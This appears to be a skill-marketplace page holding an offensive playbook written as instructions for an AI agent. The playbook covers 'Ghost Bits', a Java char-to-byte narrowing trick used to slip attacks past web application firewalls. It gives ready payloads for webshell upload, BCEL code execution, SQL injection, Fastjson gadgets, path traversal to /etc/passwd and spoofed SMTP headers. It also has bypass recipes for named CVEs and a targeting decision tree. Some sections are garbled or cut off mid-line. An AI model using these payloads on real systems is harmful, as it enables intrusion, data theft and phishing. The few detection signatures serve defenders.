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SKILL verified MIT Self-run

Ghost Bits Cast Attack

skill-yaklang-hack-skills-ghost-bits-cast-attack · by yaklang

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  • Prompt-injection patterns
  • Secret / credential exfiltration
  • Dangerous shell & filesystem operations
  • Untrusted network calls
  • Known-malicious package signatures

What it can access

  • Network access No
  • Filesystem access No
  • Shell / process execution No
  • Environment & secrets No
  • Dynamic code execution No

From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.

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About

SKILL: Ghost Bits / Cast Attack — Java char to byte Narrowing Playbook

> AI LOAD INSTRUCTION: This is a Java-only injection-enabling primitive, > not a standalone vulnerability class. Whenever you see (1) a Java backend, > (2) a WAF/IDS in front of it, and (3) any of {SQLi, deser RCE, file upload, > path traversal, CRLF, request smuggling, SMTP injection} on the menu, ALWAYS > try Ghost Bits variants of the payload before declaring it "blocked". The > root cause is the silent loss of the high 8 bits when Java code narrows a > 16-bit char to an 8-bit byte — the WAF sees a harmless Unicode > character, the backend reconstructs the original ASCII attack byte. Base > models almost never reach for this primitive. > > Source: Black Hat Asia 2026 talk Cast Attack: A New Threat Posed by Ghost > Bits in Java by Xinyu Bai (@b1u3r), Zhihui Chen (@1ue), with contributor > Zongzheng Zheng (@chun_springX).

0. RELATED ROUTING

Ghost Bits is a bypass primitive that re-enables payloads from many other playbooks. Pair it with whichever attack family applies:

  • [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) — when a Java

backend is suspected and WAF rules block the literal payload, this is the first technique to try beyond classic encoding.

  • [deserialization-insecure](../deserialization-insecure/SKILL.md) — for

Apache Commons BCEL ClassLoader and Fastjson \u/\x escape variants.

  • [path-traversal-lfi](../path-traversal-lfi/SKILL.md) — Spring, Jetty,

Undertow, Vert.x URL decoding and %2> hex folding.

  • [upload-insecure-files](../upload-insecure-files/SKILL.md) — Tomcat

RFC2231Utility filename* Webshell upload.

  • [request-smuggling](../request-smuggling/SKILL.md) — Apache HttpClient

` 0x6A out.write(ch); // ByteArrayOutputStream.write(int) keeps low 8 bits dos.writeBytes(str); // DataOutputStream loops char->byte cast int v = ch & 0xFF; // explicit low-byte mask


The lost high 8 bits are the **Ghost Bits**. They turn a multi-byte
Unicode character into a single attacker-chosen ASCII byte at the protocol
layer.

View A (string layer: WAF / business validation / logs) sees: 陪 阮 严 灵 瘍 瘊 ... "harmless Unicode garbage, allow" | v silent narrowing somewhere in the call stack View B (byte layer: protocol / file system / parser / class loader) sees: j . % u \r \n ... "executes the dangerous semantics"

The boundary is breached at the exact moment "view A" and "view B" disagree.


Mathematical formulation: to make View B see byte `T`, pick any
`k in 0x01..0xFF` and use:

c = chr((k > 6) * 25; x -= 16; return x; // expected 0..15, but no range check }


Worked example: feed `>` (0x3E):

0x3E & 0x1F = 0x1E = 30 (0x3E >> 6) * 25 = 0 30 + 0 - 16 = 14 = 0xE


So `%2>` is silently parsed as `%2E` = `.`. The same algebra makes `%2^`,
`%2~` etc. equivalent to other hex digits.

Typical impact: Openfire CVE-2023-32315, GeoServer CVE-2024-36401, generic
URL-decode WAF bypass.

### Family C — Lax Unicode normalization

The decoder accepts Unicode characters that happen to be classified as
"digit" or that map to a hex value via a `& 0xFF` lookup — even though they
were never meant to participate in protocol parsing.

```java
// Fastjson: too permissive
Character.digit(c, 16);   // accepts Thai, Punjabi, fullwidth digits

// Jackson: index by low 8 bits into an ASCII-only table
return sHexValues[ch & 0xff];

// Generic: fullwidth normalization
// '2' (U+FF12) -> '2', 'e' (U+FF45) -> 'e'

Typical impact: Fastjson \u and \x escape bypass, fullwidth URL-encoded path traversal, Jackson charToHex SQLi smuggling.


3. CHARACTER GENERATOR

Build any Ghost Bits character on the fly. This is the single function every agent should keep in mind:

# Python
def ghost(target_byte: int, k: int = 1) -> str:
    """Return a Unicode char whose low 8 bits equal target_byte."""
    return chr(((k & 0xFF) `         | 0x3E | XSS / XML tag end                     | `Ⱦ`        | U+023E     |
| `@`         | 0x40 | Fastjson `@type`, mail address        | `ŀ`        | U+0140     |
| `a`         | 0x61 | keyword `class`, alphabet             | `ᙡ`        | U+1661     |
| `c`         | 0x63 | keyword `class`, `cmd`                | `㹣`       | U+3E63     |
| `e`         | 0x65 | hex digit                             | `来`       | U+6765     |
| `j`         | 0x6A | extension `.jsp`                      | `陪`       | U+966A     |
| `l`         | 0x6C | keyword `class`, `closure`            | `౬`        | U+0C6C     |
| `n`         | 0x6E | keyword `Runtime`, `union`            | `陮`       | U+966E     |
| `s`         | 0x73 | keyword `class`, `select`             | `⑳`        | U+2473     |
| `t`         | 0x74 | keyword `Runtime`, `type`             | `Ŵ`        | U+0174     |
| `u`         | 0x75 | `\u` escape introducer                | `灵`       | U+7075     |

Workflow tip: keep the ASCII `Ŀ`, `ȧ`, `ȼ`, etc. variants for tight HTTP
header contexts (one byte UTF-8 expansion stays smaller); use CJK like `阮`,
`陪`, `严` when you want to bias the WAF "this is just text" classifier.

---

## 5. PER-COMPONENT PAYLOAD RECIPES

Every recipe shows the dual view: what the WAF inspects vs. what the backend
actually executes. This is the only reliable way to explain *why* the payload
goes through.

### 5.1 Tomcat `RFC2231Utility` — file upload Webshell (Family A)

Trigger: any endpoint that accepts multipart upload and Tomcat parses
`Content-Disposition: ... filename*=UTF-8''...`. Tomcat's RFC2231 decoder
casts each non-percent character directly to byte, dropping the high 8 bits.

Payload:

Content-Disposition: attachment; filename*=UTF-8''1.陪sp


| Stage                  | Filename it sees         |
|------------------------|--------------------------|
| WAF / extension filter | `1.陪sp` (not `.jsp`, allow) |
| Tomcat RFC2231 decoder | `陪` -> low byte 0x6A -> `j` |
| File system            | `1.jsp`                  |

Combine with traversal characters from section 4 (`阮`, `丯`) when the upload
target directory is fixed but the application accepts a `filename*`.

### 5.2 Apache Commons BCEL — ClassLoader RCE (Family A)

Trigger: any sink that resolves a class name through `BCEL` (`$$BCEL$$...`)
or any code that decodes BCEL via the `JavaReader` -> `ByteArrayOutputStream`
loop.

Vulnerable shape:

```java
ByteArrayOutputStream bos = new ByteArrayOutputStream();
JavaReader jr = new JavaReader(new CharArrayReader(userChars));
while ((ch = jr.read()) >= 0) {
    bos.write(ch);     // low 8 bits only
}

Attack: wrap each byte of the malicious BCEL bytecode into a Unicode character whose low 8 bits equal that byte. The decoded byte stream is a valid BCEL class; the WAF sees a long blob of CJK text without $$BCEL$$ keywords or class signatures.

| View | Content | |------|---------| | WAF | $$BCEL$$ followed by random looking CJK | | BCEL | standard BCEL class file bytes → JVM defineClass → RCE |

Defense for blue team: a WAF inspecting BCEL must replicate the bos.write(ch) semantics on each character before pattern matching.

5.3 Jackson charToHex — SQLi smuggling (Family C)

Trigger: any Jackson-parsed JSON field whose value is later embedded in SQL or another parser. Jackson resolves \uXXXX digits via:

private static final int[] sHexValues = new int[128];
public static int charToHex(int ch) {
    return sHexValues[ch & 0xFF];   // mask first, lookup second
}

Any non-ASCII character whose low 8 bits land on a populated index returns that hex digit. The WAF sees gibberish; Jackson reconstructs an ASCII payload.

Payload (smuggle the digit 1 for a UNION column count):

{"q": "\u丰丰耳失 union select 1,2,3 -- "}

| View | Content | |---------|-----------------------------------------------------| | WAF | \u丰丰耳失 union select ... (no leading digit) | | Jackson | \u0031 union select 1,2,3-- -> 1 union select… |

Pair with [sqli-sql-injection](../sqli-sql-injection/SKILL.md) for the downstream UNION / boolean / time-based payload templates.

5.4 Fastjson — \u and \x escape bypass (Families B + C)

Two independent surfaces:

(a) \u escape — Character.digit(c, 16) accepts Unicode digit categories beyond ASCII (Thai ๐-๙ U+0E50..U+0E59, Punjabi ੦-੯ U+0A66..U+0A6F, fullwidth 0-9 U+FF10..U+FF19).

{"\u4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}

WAF view: \u4_type (no @type literal). Fastjson normalizes fullwidth to 4, then handles _ via the \x shortcut below, yielding @type.

(b) \x escape — Fastjson computes digits[x1] * 16 + digits[x2]. An illegal hex character returns the default value 0.

\x4_   ->   '4'(=4) * 16 + '_'(=0) = 0x40 = '@'
{"\x4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}

| View | Field name | |----------|------------| | WAF | \x4_type (not @type) | | Fastjson | @type -> JdbcRowSetImpl autotype gadget triggers |

5.5 Spring / Jetty / Undertow / Vert.x — URL decoding (Families A + B)

Two combinable tricks:

Trick 1 — Family A character substitution in path or query:

/api/v1/data?file=阮丯阮丯etc丯passwd
                = ../../etc/passwd at the byte layer

Trick 2 — Family B %2> folding when Jetty's TypeUtil.fromHexDigit is in the chain:

/setup/setup-s/%2>%2>/log.jsp
                = /setup/setup-s/../log.jsp after decode

Either alone bypasses most signature WAFs; combined they survive even "normalized then matched" rules that only see ASCII percent triplets.

Spring CVE-2025-41242 chain (StringUtils.uriDecode patched in PR #34673):

input :  阮严灵丰丰甲来
       (.)(%)(u)(0)(0)(2)(e)
narrow:  .%u002e
decode:  ..
result:  arbitrary file read via path traversal

| Stage | Path | |-----------------|----------------| | Spring isInvalidPath() | .%u002e — no literal .., allow | | Backend file resolution | .. after %u002e decode → traversal |

5.6 Angus Mail / Jakarta Mail — SMTP injection (Family A)

Trigger: any application that builds SMTP envelopes or headers from user-controlled strings. Internal ASCIIUtility does:

byte b = (byte) ch;           // 16-bit char silently narrowed

Smuggle CRLF as 瘍瘊:

hacker@evil.com瘍瘊Subject: Password reset code瘍瘊To: target@victim.com瘍瘊瘍瘊Your code is 1234

| View | What it parses | |------|----------------| | Application validation | a single From value containing odd CJK | | SMTP server | five separate header lines + body, fully spoofed |

Real impact pattern: Jira-style (CVE-2025-57733) password-reset hijacking, Confluence domain allowlist bypass — pair with [crlf-injection](../crlf-injection/SKILL.md) for non-mail CRLF reuse.

5.7 Apache HttpClient `alert(1)


Server emits two logical responses; the second carries an attacker-chosen
body. Escalates to stored XSS, cache poisoning, and SSO redirect chains.

### 5.9 Other affected components

Same Family A primitive, different sink:

- **Lettuce (Redis client)** — command injection by smuggling `\r\n` into
  RESP frames; chain to arbitrary `CONFIG SET dir` + `SAVE` for SSRF-to-RCE.
- **Jodd `FileNameUtil`** — path traversal via `阮` and `丯` because its
  internal write loop narrows.
- **XMLWriter** — tag-name injection when an attribute or text node value is
  pushed through a low-byte writer; XXE / XSS pivot.
- **ActiveJ HTTP** — CRLF injection identical in shape to 5.7 / 5.8.
- **Vert.x HTTP body parser** — Family A in `MultipartParser`.

See [PAYLOAD_COOKBOOK.md](./PAYLOAD_COOKBOOK.md) for affected-version
matrix and full per-component payload skeletons.

---

## 6. KNOWN-CVE BYPASS RECIPES

Use these *exactly when the corresponding CVE is patched but a WAF still
fronts the service*. Each Payload below shifts the original ASCII attack into
a form that survives string-based WAF rules.

### Openfire CVE-2023-32315 — auth bypass (Family B)

Original public bypass:

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp


Ghost Bits / `%2>` folding bypass (much harder to signature):

GET /setup/setup-s/%2>%2>/%2>%2>/log.jsp


Each `%2>` collapses through Jetty's lax hex into `%2E` = `.`, yielding the
same `../../` traversal without ever emitting `..` or `%2e` to the WAF.

### GeoServer CVE-2024-36401 — RCE via `Runtime` keyword (Family B)

Public WAF rules typically block `Runtime`. Inject one folded character:

Ru%6>time


Decoder math: `%6>` -> `%6E` -> `n`. The expression evaluator now sees
`Runtime`, the WAF never did.

### Spring4Shell CVE-2022-22965 — class loader chain (Family A)

Required parameter prefix `class.module.classLoader...`. WAFs block the
literal `class`. Substitute via low-byte chars:

Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader.resources..."


| Component | Char  | Code point | Low byte |
|-----------|-------|------------|----------|
| `c`       | `㹣`  | U+3E63     | 0x63     |
| `l`       | `౬`  | U+0C6C     | 0x6C     |
| `a`       | `ᙡ`  | U+1661     | 0x61     |
| `s`       | `⑳`  | U+2473     | 0x73     |
| `s`       | `⑳`  | U+2473     | 0x73     |

Springs's parameter-name resolver narrows back to `class`.

### Spring CVE-2025-41242 — arbitrary file read (Family A + Family B mix)

Already demonstrated in 5.5 above. Payload `阮严灵丰丰甲来` ->
`.%u002e` -> `..` after decode-after-validation.

### Jakarta Mail CVE-2025-57733 — Jira-style mail hijack (Family A)

to=victim@org.com瘍瘊Subject: Reset code瘍瘊To: attacker@evil.com瘍瘊瘍瘊Your code is 1234


The mail leaves the company SMTP server with valid SPF / DKIM / DMARC, but
its `To:` and `Subject:` are attacker-chosen — high-fidelity phishing.

---

## 7. DETECTION DECISION TREE

Use this when triaging a target. The point is to avoid Ghost Bits when it
cannot help and to *always* try it when the preconditions hold.

Is the backend Java? (Server header, error page, JSESSIONID, .do/.action, WebGoat-style stack trace, X-Powered-By, X-Frame-Options with Tomcat default values) ├── No -> stop, Ghost Bits does not apply └── Yes │ ├── Is there a WAF / IDS or input filter blocking your literal payload? │ ├── No -> use the literal payload; Ghost Bits is overkill │ └── Yes -> continue │ ├── Which sink are you targeting? │ ├── File upload via multipart -> recipe 5.1 (Tomcat filename*) │ ├── JSON deserialization -> recipes 5.3 (Jackson) / 5.4 (Fastjson) │ ├── Class loader / BCEL ref -> recipe 5.2 │ ├── URL path / parameter -> recipe 5.5 + Family B %2> │ ├── Header reflection -> recipes 5.7 / 5.8 │ ├── Mail send -> recipe 5.6 │ └── Redis / RESP / XML / RPC -> recipe 5.9 │ ├── Probe with a single non-destructive substitution first │ (replace ONE character with its Ghost variant; observe response │ diff: status code, length, header echo, error message, time) │ └── If observable difference appears -> escalate by substituting all blocked characters and chain through the linked playbook.


---

## 8. SAST / CODE-AUDIT SIGNATURES

Three priority tiers when reviewing Java source. Search across all your
project repos, all dependencies you can shade, and the `lib/` of any
deployed appliance.

### Tier 1 — direct narrowing (Family A)

\(byte\)\s\w+ &\s0[xX][fF][fF] &\s255 \.write\(\s[a-zA-Z_]\w\s\) # OutputStream.write(int) writeBytes\s\( StringBufferInputStream String\.getBytes\s\(\sint RandomAccessFile.writeBytes


### Tier 2 — lax hex / digit decoding (Families B + C)

Character\.digit\s*\( fromHexDigit convertHexDigit fromH

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Versions

  • v0.1.0 Imported from the upstream source.